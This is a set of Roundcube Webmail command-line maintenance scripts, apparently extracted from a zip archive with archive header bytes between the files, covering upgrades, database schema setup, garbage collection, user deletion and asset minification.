    echo "What version are you upgrading from? Type '?' if you don't know.\n";

    if (($input = trim(fgets(STDIN))) && preg_match('/^[0-9.]+[a-z0-9-]*$/', $input)) {
        $opts['version'] = $input;
    }
    else {
        $opts['version'] = RCMAIL_VERSION;
    }
}

$RCI = rcmail_install::get_instance();
$RCI->load_config();

if ($RCI->configured) {
    $success = true;

    if (($messages = $RCI->check_config($opts['version'])) || $RCI->legacy_config) {
        $success = false;
        $err = 0;

        // list old/replaced config options
        if (!empty($messages['replaced'])) {
            echo "WARNING: Replaced config options:\n";
            echo "(These config options have been replaced or renamed)\n";

            foreach ($messages['replaced'] as $msg) {
                echo "- '" . $msg['prop'] . "' was replaced by '" . $msg['replacement'] . "'\n";
                $err++;
            }
        }

        // list obsolete config options (just a notice)
        if (!empty($messages['obsolete'])) {
            echo "NOTICE: Obsolete config options:\n";
            echo "(You still have some obsolete or inexistent properties set."
                . " This isn't a problem but should be noticed)\n";

            foreach ($messages['obsolete'] as $msg) {
                echo "- '" . $msg['prop'] . (!empty($msg['explain']) ? "': " . $msg['explain'] : "'") . "\n";
                $err++;
            }
        }

        if (!$err && $RCI->legacy_config) {
            echo "WARNING: Your configuration needs to be migrated!\n";
            echo "We changed the configuration files structure and your two config files "
                . "main.inc.php and db.inc.php have to be merged into one single file.\n";
            $err++;
        }

        // ask user to update config files
        if ($err) {
            if (empty($opts['accept'])) {
                echo "Do you want me to fix your local configuration? (y/N)\n";
                $input = trim(fgets(STDIN));
            }

            // positive: merge the local config with the defaults
            if (!empty($opts['accept']) || strtolower($input) == 'y') {
                $error = $written = false;

                echo "- backing up the current config file(s)...\n";

                foreach (['config', 'main', 'db'] as $file) {
                    if (file_exists(RCMAIL_CONFIG_DIR . '/' . $file . '.inc.php')) {
                        if (!copy(RCMAIL_CONFIG_DIR . '/' . $file . '.inc.php', RCMAIL_CONFIG_DIR . '/' . $file . '.old.php')) {
                            $error = true;
                        }
                    }
                }

                if (!$error) {
                    $RCI->merge_config();
                    echo "- writing " . RCMAIL_CONFIG_DIR . "/config.inc.php...\n";
                    $written = $RCI->save_configfile($RCI->create_config(false));
                }

                // Success!
                if ($written) {
                    echo "Done.\n";
                    echo "Your configuration files are now up-to-date!\n";

                    if (!empty($messages['missing'])) {
                        echo "But you still need to add the following missing options:\n";
                        foreach ($messages['missing'] as $msg) {
                            echo "- '" . $msg['prop'] . ($msg['name'] ? "': " . $msg['name'] : "'") . "\n";
                        }
                    }

                    if ($RCI->legacy_config) {
                        foreach (['main', 'db'] as $file) {
                            @unlink(RCMAIL_CONFIG_DIR . '/' . $file . '.inc.php');
                        }
                    }
                }
                else {
                    echo "Failed to write config file(s)!\n";
                    echo "Grant write privileges to the current user or update the files manually "
                        . "according to the above messages.\n";
                }
            }
            else {
                echo "Please update your config files manually according to the above messages.\n";
            }
        }

        // list of config options with changed default (just a notice)
        if (!empty($messages['defaults'])) {
            echo "WARNING: Changed defaults (These config options have new default values):\n";

            foreach ($messages['defaults'] as $opt) {
                echo "- '{$opt}'\n";
            }
        }

        // check dependencies based on the current configuration
        if (!empty($messages['dependencies'])) {
            echo "WARNING: Dependency check failed!\n";
            echo "(Some of your configuration settings require other options to be configured "
                . "or additional PHP modules to be installed)\n";

            foreach ($messages['dependencies'] as $msg) {
                echo "- " . $msg['prop'] . ': ' . $msg['explain'] . "\n";
            }

            echo "Please fix your config files and run this script again!\n";
            echo "See ya.\n";
        }
    }

    // check file type detection
    if ($RCI->check_mime_detection()) {
        echo "WARNING: File type detection doesn't work properly!\n";
        echo "Please check the 'mime_magic' config option or the finfo functions of PHP and run this script again.\n";
    }
    if ($RCI->check_mime_extensions()) {
        echo "WARNING: Mimetype to file extension mapping doesn't work properly!\n";
        echo "Please check the 'mime_types' config option and run this script again.\n";
    }

    // check database schema
    if (!empty($RCI->config['db_dsnw'])) {
        echo "Executing database schema update.\n";
        $success = rcmail_utils::db_update(INSTALL_PATH . 'SQL', 'roundcube', $opts['version'], ['errors' => true]);
    }

    // update composer dependencies
    if (is_file(INSTALL_PATH . 'composer.json') && is_readable(INSTALL_PATH . 'composer.json-dist')) {
        $composer_data     = json_decode(file_get_contents(INSTALL_PATH . 'composer.json'), true);
        $composer_template = json_decode(file_get_contents(INSTALL_PATH . 'composer.json-dist'), true);
        $composer_json    = null;

        // update the require section with the new dependencies
        if (!empty($composer_data['require']) && !empty($composer_template['require'])) {
            $composer_data['require'] = array_merge($composer_data['require'], $composer_template['require']);

            // remove obsolete packages
            $old_packages = [
                'pear-pear.php.net/net_socket',
                'pear-pear.php.net/auth_sasl',
                'pear-pear.php.net/net_idna2',
                'pear-pear.php.net/mail_mime',
                'pear-pear.php.net/net_smtp',
                'pear-pear.php.net/crypt_gpg',
                'pear-pear.php.net/net_sieve',
                'pear/mail_mime-decode',
                'roundcube/net_sieve',
                'endroid/qrcode',
                'endroid/qr-code',
            ];

            foreach ($old_packages as $pkg) {
                if (array_key_exists($pkg, $composer_data['require'])) {
                    unset($composer_data['require'][$pkg]);
                }
            }
        }

        // update the repositories section with the new dependencies
        if (!empty($composer_template['repositories'])) {
            if (empty($composer_data['repositories'])) {
                $composer_data['repositories'] = [];
            }

            foreach ($composer_template['repositories'] as $repo) {
                $rkey = repo_key($repo);
                $existing = false;

                foreach ($composer_data['repositories'] as $k =>  $_repo) {
                    if ($rkey == repo_key($_repo)) {
                        // switch to https://
                        if (isset($_repo['url']) && strpos($_repo['url'], 'http://') === 0) {
                            $composer_data['repositories'][$k]['url'] = 'https:' . substr($_repo['url'], 5);
                        }

                        $existing = true;
                        break;
                    }

                    // remove old repos
                    if (isset($_repo['url']) && strpos($_repo['url'], 'git://git.kolab.org') === 0) {
                        unset($composer_data['repositories'][$k]);
                    }
                    else if (
                        $_repo['type'] == 'package'
                        && !empty($_repo['package']['name'])
                        && $_repo['package']['name'] == 'Net_SMTP'
                    ) {
                        unset($composer_data['repositories'][$k]);
                    }
                }

                if (!$existing) {
                    $composer_data['repositories'][] = $repo;
                }
            }

            $composer_data['repositories'] = array_values($composer_data['repositories']);
        }

        $composer_json = json_encode($composer_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);

        // write updated composer.json back to disk
        if ($composer_json && is_writeable(INSTALL_PATH . 'composer.json')) {
            $success &= (bool)file_put_contents(INSTALL_PATH . 'composer.json', $composer_json);
        }
        else {
            echo "WARNING: unable to update composer.json!\n";
            echo "Please replace the 'require' section in your composer.json with the following:\n";

            $require_json = '';
            foreach ($composer_data['require'] as $pkg => $ver) {
                $require_json .= sprintf('        "%s": "%s",'."\n", $pkg, $ver);
            }

            echo '    "require": {'."\n";
            echo rtrim($require_json, ",\n");
            echo "\n    }\n\n";
        }

        if (!rcmail_install::vendor_dir_untouched(INSTALL_PATH)) {
            $exit_code = 1;
            if ($composer_bin = find_composer()) {
                echo "Executing " . $composer_bin . " to update dependencies...\n";
                echo system("$composer_bin update -d " . escapeshellarg(INSTALL_PATH) . " --no-dev", $exit_code);
            }
            if ($exit_code != 0) {
                echo "-----------------------------------------------------------------------------\n";
                echo "ATTENTION: Update dependencies by running `php composer.phar update --no-dev`\n";
                echo "-----------------------------------------------------------------------------\n";
            }
        }
    }

    // index contacts for fulltext searching
    if ($opts['version'] && version_compare(version_parse($opts['version']), '0.6.0', '<')) {
        rcmail_utils::indexcontacts();
    }

    if ($success) {
        echo "This instance of Roundcube is up-to-date.\n";
        echo "Have fun!\n";
    }
}
else {
    echo "This instance of Roundcube is not yet configured!\n";
    echo "Open http://url-to-roundcube/installer/ in your browser and follow the instructions.\n";
}

function repo_key($repo)
{
    $key = $repo['type'];

    if (!empty($repo['url'])) {
        $key .= preg_replace('/^https?:/', '', $repo['url']);
    }

    if (!empty($repo['package']['name'])) {
        $key .= $repo['package']['name'];
    }

    return $key;
}

function find_composer()
{
    if (is_file(INSTALL_PATH . 'composer.phar')) {
        return 'php composer.phar';
    }

    foreach (['composer', 'composer.phar'] as $check_file) {
        $which = trim(system("which $check_file"));
        if (!empty($which)) {
            return $which;
        }
    }

    return null;
}
PK
h�\a���zz	bin/gc.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Trigger garbage collecting routines manually (e.g. via cronjob)     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require INSTALL_PATH.'program/include/clisetup.php';

$rcmail = rcube::get_instance();

$session_driver   = $rcmail->config->get('session_storage', 'db');
$session_lifetime = $rcmail->config->get('session_lifetime', 0) * 60 * 2;

// Clean expired SQL sessions
if ($session_driver == 'db' && $session_lifetime) {
    $db = $rcmail->get_dbh();
    $db->query("DELETE FROM " . $db->table_name('session')
        . " WHERE changed < " . $db->now(-$session_lifetime));
}

// Clean caches and temp directory
$rcmail->gc();
PK
h�\leM��bin/jsshrink.shnu�[���#!/bin/sh

set -e

PWD=`dirname "$0"`
LANG_IN='ECMASCRIPT5'

do_shrink() {
    rm -f "$2"
    # copy the first comment block with license information for LibreJS
    grep -q '@lic' $1 && sed -n '/\/\*/,/\*\// { p; /\*\//q; }' $1 > $2
    uglifyjs --compress --mangle -- $1 >> $2
}

if which uglifyjs > /dev/null 2>&1; then
    :
else
    echo "uglifyjs not found. Please install e.g. 'npm install -g uglify-js'."
    exit 1
fi

# compress single file from argument
if [ $# -gt 0 ]; then
    JS_FILE="$1"

    if [ $# -gt 1 ]; then
        LANG_IN="$2"
    fi

    echo "Shrinking $JS_FILE"
    minfile=`echo $JS_FILE | sed -e 's/\.js$/\.min\.js/'`
    do_shrink "$JS_FILE" "$minfile" "$LANG_IN"
    exit
fi

DIRS="$PWD/../program/js $PWD/../skins/* $PWD/../plugins/* $PWD/../plugins/*/skins/* $PWD/../plugins/managesieve/codemirror/lib"
# default: compress application scripts
for dir in $DIRS; do
    for file in $dir/*.js; do
        if echo "$file" | grep -q -e '.min.js$'; then
            continue
        fi
        if [ ! -f "$file" ]; then
            continue
        fi

        echo "Shrinking $file"
        minfile=`echo $file | sed -e 's/\.js$/\.min\.js/'`
        do_shrink "$file" "$minfile" "$LANG_IN"
    done
done
PK
h�\c���
bin/initdb.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Create database schema                                              |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require_once INSTALL_PATH . 'program/include/clisetup.php';

// get arguments
$opts = rcube_utils::get_opt([
    'd' => 'dir',
    'u' => 'update'
]);

if (empty($opts['dir'])) {
    rcube::raise_error("Database schema directory not specified (--dir).", false, true);
}

// Check if directory exists
if (!file_exists($opts['dir'])) {
    rcube::raise_error("Specified database schema directory doesn't exist.", false, true);
}

$db = rcmail_utils::db();

if (!empty($opts['update']) && in_array($db->table_name('system'), (array)$db->list_tables())) {
    echo "Checking for database schema updates..." . PHP_EOL;
    rcmail_utils::db_update($opts['dir'], 'roundcube', null, ['errors' => true]);
} else {
    rcmail_utils::db_init($opts['dir']);
}
PK
h�\�d�;�	�	bin/moduserprefs.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Bulk-change settings stored in user preferences                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require_once INSTALL_PATH.'program/include/clisetup.php';

function print_usage()
{
    print "Usage: moduserprefs.sh [options] pref-name [pref-value]\n";
    print "Options:\n";
    print "    --user=user-id User ID in local database\n";
    print "    --config=path  Location of additional configuration file\n";
    print "    --delete       Unset the given preference\n";
    print "    --type=type    Pref-value type: int, bool, string\n";
}


// get arguments
$args = rcube_utils::get_opt([
        'u' => 'user',
        'd' => 'delete:bool',
        't' => 'type',
        'c' => 'config',
]);

if (empty($_SERVER['argv'][1]) || $_SERVER['argv'][1] == 'help') {
    print_usage();
    exit;
}
else if (empty($args[0]) || (empty($args[1]) && empty($args['delete']))) {
    print "Missing required parameters.\n";
    print_usage();
    exit;
}

$pref_name  = trim($args[0]);
$pref_value = !empty($args['delete']) ? null : trim($args[1]);

if ($pref_value === null) {
    $args['type'] = null;
}

if (!empty($args['config'])) {
    $rcube = rcube::get_instance();
    $rcube->config->load_from_file($args['config']);
}

$type = isset($args['type']) ? $args['type'] : null;
$user = isset($args['user']) ? $args['user'] : null;

rcmail_utils::mod_pref($pref_name, $pref_value, $user, $type);
PK
h�\=�-611bin/cleandb.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Finally remove all db records marked as deleted some time ago       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require INSTALL_PATH.'program/include/clisetup.php';

if (!empty($_SERVER['argv'][1])) {
    $days = intval($_SERVER['argv'][1]);
}
else {
    $days = 7;
}

rcmail_utils::db_clean($days);
PK
h�\��h��bin/updatedb.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Update database schema                                              |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require_once INSTALL_PATH . 'program/include/clisetup.php';

// get arguments
$opts = rcube_utils::get_opt([
        'v' => 'version',
        'd' => 'dir',
        'p' => 'package',
]);

if (empty($opts['dir'])) {
    rcube::raise_error("Database schema directory not specified (--dir).", false, true);
}
if (empty($opts['package'])) {
    rcube::raise_error("Database schema package name not specified (--package).", false, true);
}

rcmail_utils::db_update($opts['dir'], $opts['package'], $opts['version'] ?? null, ['errors' => true]);
PK
h�\�n�77bin/indexcontacts.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Update the fulltext index for all contacts of the internal          |
 |   address book.                                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require_once INSTALL_PATH.'program/include/clisetup.php';
ini_set('memory_limit', -1);

rcmail_utils::indexcontacts();
PK
h�\���bin/deluser.shnu�[���#!/usr/bin/env php
<?php

/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Utility script to remove all data related to a certain user         |
 |   from the local database.                                            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <thomas@roundcube.net>                       |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require_once INSTALL_PATH . 'program/include/clisetup.php';

function print_usage()
{
    print "Usage: deluser.sh [--host=HOST][--age=DAYS][--dry-run] [username]\n";
    print "--host=HOST  The IMAP hostname or IP the given user is related to\n";
    print "--age=DAYS   Delete all users who have not logged in for more than X days\n";
    print "--dry-run    List users but do not delete them (for use with --age)\n";
}

function _die($msg, $usage=false)
{
    fwrite(STDERR, $msg . "\n");
    if ($usage) print_usage();
    exit(1);
}

$rcmail = rcube::get_instance();

// get arguments
$args = rcube_utils::get_opt(['h' => 'host', 'a' => 'age', 'd' => 'dry-run:bool']);

if (!empty($args['age']) && ($age = intval($args['age']))) {
    $db = $rcmail->get_dbh();
    $db->db_connect('r');

    $query = $db->query("SELECT `username`, `mail_host` FROM " . $db->table_name('users', true)
        . " WHERE `last_login` < " . $db->now($age * -1 * 86400)
        . ($args['host'] ? " AND `mail_host` = " . $db->quote($args['host']) : '')
    );

    while ($user = $db->fetch_assoc($query)) {
        if (!empty($args['dry-run'])) {
            printf("%s (%s)\n", $user['username'], $user['mail_host']);
            continue;
        }
        system(sprintf("%s/deluser.sh --host=%s %s", INSTALL_PATH . 'bin', escapeshellarg($user['mail_host']), escapeshellarg($user['username'])));
    }
    exit(0);
}

$username = isset($args[0]) ? trim($args[0]) : null;
if (empty($username)) {
    _die("Missing required parameters", true);
}

if (empty($args['host'])) {
    $hosts = $rcmail->config->get('imap_host', '');
    if (is_string($hosts)) {
        $args['host'] = $hosts;
    }
    else if (is_array($hosts) && count($hosts) == 1) {
        $args['host'] = reset($hosts);
    }
    else {
        _die("Specify a host name", true);
    }

    // host can be a URL like tls://192.168.12.44
    $host_url = parse_url($args['host']);
    if ($host_url['host']) {
        $args['host'] = $host_url['host'];
    }
}

// connect to DB
$db = $rcmail->get_dbh();
$db->db_connect('w');
$transaction = false;

if (!$db->is_connected() || $db->is_error()) {
    _die("No DB connection\n" . $db->is_error());
}

// find user in local database
$user = rcube_user::query($username, $args['host']);

if (!$user) {
    die("User not found.\n");
}

// inform plugins about approaching user deletion
$plugin = $rcmail->plugins->exec_hook('user_delete_prepare', ['user' => $user, 'username' => $username, 'host' => $args['host']]);

// let plugins cleanup their own user-related data
if (!$plugin['abort']) {
    $transaction = $db->startTransaction();
    $plugin = $rcmail->plugins->exec_hook('user_delete', $plugin);
}

if ($plugin['abort']) {
    unset($plugin['abort']);
    if ($transaction) {
        $db->rollbackTransaction();
    }
    _die("User deletion aborted by plugin");
}

$db->query('DELETE FROM ' . $db->table_name('users', true) . ' WHERE `user_id` = ?', $user->ID);

if ($db->is_error()) {
    $rcmail->plugins->exec_hook('user_delete_rollback', $plugin);
    _die("DB error occurred: " . $db->is_error());
}
else {
    // inform plugins about executed user deletion
    $plugin = $rcmail->plugins->exec_hook('user_delete_commit', $plugin);

    if ($plugin['abort']) {
        unset($plugin['abort']);
        $db->rollbackTransaction();
        $rcmail->plugins->exec_hook('user_delete_rollback', $plugin);
    }
    else {
        $db->endTransaction();
        echo "Successfully deleted user $user->ID\n";
    }
}
PK
h�\�1�""bin/installto.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Update an existing Roundcube installation with files from           |
 |   this version                                                        |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require_once INSTALL_PATH . 'program/include/clisetup.php';

if (!function_exists('system')) {
    rcube::raise_error("PHP system() function is required. Check disable_functions in php.ini.", false, true);
}

$target_dir = unslashify(end($_SERVER['argv']));
$accept = in_array('-y', $_SERVER['argv']) ? 'y' : null;

if (empty($target_dir) || !is_dir(realpath($target_dir))) {
    rcube::raise_error("Invalid target: not a directory\nUsage: installto.sh [-y] <TARGET>", false, true);
}

// read version from iniset.php
$iniset = @file_get_contents($target_dir . '/program/include/iniset.php');
if (!preg_match('/define\(.RCMAIL_VERSION.,\s*.([0-9.]+[a-z0-9-]*)/', $iniset, $m)) {
    rcube::raise_error("No valid Roundcube installation found at $target_dir", false, true);
}

$oldversion = $m[1];

if (version_compare(version_parse($oldversion), version_parse(RCMAIL_VERSION), '>')) {
    rcube::raise_error("Target installation already in version $oldversion.", false, true);
}

if (version_compare(version_parse($oldversion), version_parse(RCMAIL_VERSION), '==')) {
    echo "Target installation already in version $oldversion. Do you want to update again? (y/N)\n";
}
else {
    echo "Upgrading from $oldversion. Do you want to continue? (y/N)\n";
}

$input = $accept ?: trim(fgets(STDIN));

if (strtolower($input) == 'y') {
    echo "Copying files to target location...";

    $adds = [];
    $dirs = ['bin','SQL','plugins','skins','program'];

    if (is_dir(INSTALL_PATH . 'vendor') && (!is_file("$target_dir/composer.json") || rcmail_install::vendor_dir_untouched($target_dir))) {
        $dirs[] = 'vendor';
    }
    if (file_exists("$target_dir/installer")) {
        $dirs[] = 'installer';
    }

    foreach ($dirs as $dir) {
        // @FIXME: should we use --delete for all directories?
        $delete  = in_array($dir, ['program', 'vendor', 'installer']) ? '--delete ' : '';
        $command = "rsync -aC --out-format=%n " . $delete . INSTALL_PATH . "$dir/ $target_dir/$dir/";

        if (system($command, $ret) === false || $ret > 0) {
            rcube::raise_error("Failed to execute command: $command", false, true);
        }
    }

    foreach (['index.php','config/defaults.inc.php','composer.json-dist','jsdeps.json','CHANGELOG.md','README.md','UPGRADING','LICENSE','INSTALL'] as $file) {
        $command = "rsync -a --out-format=%n " . INSTALL_PATH . "$file $target_dir/$file";

        if (file_exists(INSTALL_PATH . $file) && (system($command, $ret) === false || $ret > 0)) {
            rcube::raise_error("Failed to execute command: $command", false, true);
        }
    }

    // Copy .htaccess or .user.ini if needed
    foreach (['.htaccess','.user.ini'] as $file) {
        if (file_exists(INSTALL_PATH . $file)) {
            if (!file_exists("$target_dir/$file") || file_get_contents(INSTALL_PATH . $file) != file_get_contents("$target_dir/$file")) {
                if (copy(INSTALL_PATH . $file, "$target_dir/$file.new")) {
                    echo "$file.new\n";
                    $adds[] = "NOTICE: New $file file saved as $file.new.";
                }
            }
        }
    }

    // remove old (<1.0) .htaccess file
    @unlink("$target_dir/program/.htaccess");
    echo "done.\n\n";

    if (is_dir("$target_dir/skins/default")) {
        echo "Removing old default skin...";
        system("rm -rf $target_dir/skins/default $target_dir/plugins/jqueryui/themes/default");
        foreach (glob(INSTALL_PATH . "plugins/*/skins") as $plugin_skin_dir) {
            $plugin_skin_dir = preg_replace('!^.*' . INSTALL_PATH . '!', '', $plugin_skin_dir);
            if (is_dir("$target_dir/$plugin_skin_dir/classic")) {
                system("rm -rf $target_dir/$plugin_skin_dir/default");
            }
        }
        echo "done.\n\n";
    }

    // Warn about situation when using "complete" package to update "custom" installation (#7087)
    // Note: "Complete" package do not include jsdeps.json nor install-jsdeps.sh
    if (file_exists("$target_dir/jsdeps.json") && !file_exists(INSTALL_PATH . "jsdeps.json")) {
        $adds[] = "WARNING: JavaScript dependencies update skipped. New jsdeps.json file not found.";
    }
    // check if js-deps are up-to-date
    else if (file_exists("$target_dir/jsdeps.json") && file_exists("$target_dir/bin/install-jsdeps.sh")) {
        $jsdeps    = json_decode(file_get_contents("$target_dir/jsdeps.json"));
        $package   = $jsdeps->dependencies[0];
        $dest_file = $target_dir . '/' . $package->dest;

        if (!file_exists($dest_file) || sha1_file($dest_file) !== $package->sha1) {
            echo "Installing JavaScript dependencies...";
            system("cd $target_dir && bin/install-jsdeps.sh");
            echo "done.\n\n";
        }
    }

    if (file_exists("$target_dir/installer")) {
        $adds[] = "NOTICE: The 'installer' directory still exists. You should remove it after the upgrade.";
    }

    if (!empty($adds)) {
        echo implode("\n", $adds) . "\n\n";
    }

    echo "Running update script at target...\n";
    system("cd $target_dir && bin/update.sh --version=$oldversion" . ($accept ? ' -y' : ''));
    echo "All done.\n";
}
else {
    echo "Update cancelled. See ya!\n";
}
PK
h�\�R�<��bin/cssshrink.shnu�[���#!/bin/sh

set -e

PWD=`dirname "$0"`

do_shrink() {
    rm -f "$2"
    csso $1 -o $2 --no-restructure
}

if which csso > /dev/null 2>&1; then
    :
else
    echo "csso not found. Please install e.g. 'npm install -g csso-cli'."
    exit 1
fi

# compress single file from argument
if [ $# -gt 0 ]; then
    CSS_FILE="$1"

    echo "Shrinking $CSS_FILE"
    minfile=`echo $CSS_FILE | sed -e 's/\.css$/\.min\.css/'`
    do_shrink "$CSS_FILE" "$minfile"
    exit
fi

DIRS="$PWD/../skins/* $PWD/../plugins/* $PWD/../plugins/*/skins/*  $PWD/../plugins/*/themes/*"
# default: compress application scripts
for dir in $DIRS; do
    for file in $dir/*.css; do
        if echo "$file" | grep -q -e '.min.css$'; then
            continue
        fi
        if [ ! -f "$file" ]; then
            continue
        fi

        echo "Shrinking $file"
        minfile=`echo $file | sed -e 's/\.css$/\.min\.css/'`
        do_shrink "$file" "$minfile"
    done
done
PK
h�\WC7}}bin/updatecss.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Update cache-baster marks for css background images                 |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require_once INSTALL_PATH . 'program/include/clisetup.php';

// get arguments
$opts = rcube_utils::get_opt(['d' => 'dir']);

if (empty($opts['dir'])) {
    print "Skin directory not specified (--dir). Using skins/ and plugins/*/skins/.\n";

    $dir     = INSTALL_PATH . 'skins';
    $dir_p   = INSTALL_PATH . 'plugins';
    $skins   = glob("$dir/*", GLOB_ONLYDIR);
    $skins_p = glob("$dir_p/*/skins/*", GLOB_ONLYDIR);

    $dirs = array_merge($skins, $skins_p);
}
// Check if directory exists
else if (!file_exists($opts['dir'])) {
    rcube::raise_error("Specified directory doesn't exist.", false, true);
}
else {
    $dirs = [$opts['dir']];
}

foreach ($dirs as $dir) {
    $img_dir = $dir . '/images';
    if (!file_exists($img_dir)) {
        continue;
    }

    $files   = get_files($dir);
    $images  = get_images($img_dir);
    $find    = [];
    $replace = [];

    // build regexps array
    foreach ($images as $path => $sum) {
        $path_ex   = str_replace('.', '\\.', $path);
        $find[]    = "#url\(['\"]?images/$path_ex(\?v=[a-f0-9-\.]+)?['\"]?\)#";
        $replace[] = "url(images/$path?v=$sum)";
    }

    foreach ($files as $file) {
        $file    = $dir . '/' . $file;
        print "File: $file\n";
        $content = file_get_contents($file);
        $content = preg_replace($find, $replace, $content, -1, $count);
        if ($count) {
            file_put_contents($file, $content);
        }
    }
}


function get_images($dir)
{
    $images = [];
    $dh     = opendir($dir);

    while ($file = readdir($dh)) {
        if (preg_match('/^(.+)\.(gif|ico|png|jpg|jpeg)$/', $file, $m)) {
            $filepath = "$dir/$file";
            $images[$file] = substr(md5_file($filepath), 0, 4) . '.' . filesize($filepath);
            print "Image: $filepath ({$images[$file]})\n";
        }
        else if ($file != '.' && $file != '..' && is_dir($dir . '/' . $file)) {
            foreach (get_images($dir . '/' . $file) as $img => $sum) {
                $images[$file . '/' . $img] = $sum;
            }
        }
    }

    closedir($dh);

    return $images;
}

function get_files($dir)
{
    $files = [];
    $dh    = opendir($dir);

    while ($file = readdir($dh)) {
        if (preg_match('/^(.+)\.(css|html)$/', $file, $m)) {
            $files[] = $file;
        }
        else if ($file != '.' && $file != '..' && is_dir($dir . '/' . $file)) {
            foreach (get_files($dir . '/' . $file) as $f) {
                $files[] = $file . '/' . $f;
            }
        }
    }

    closedir($dh);

    return $files;
}
PK
h�\Eܙ��
�
bin/decrypt.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Decrypt the encrypted parts of the HTTP Received: headers           |
 +-----------------------------------------------------------------------+
 | Author: Tomas Tevesz <ice@extreme.hu>                                 |
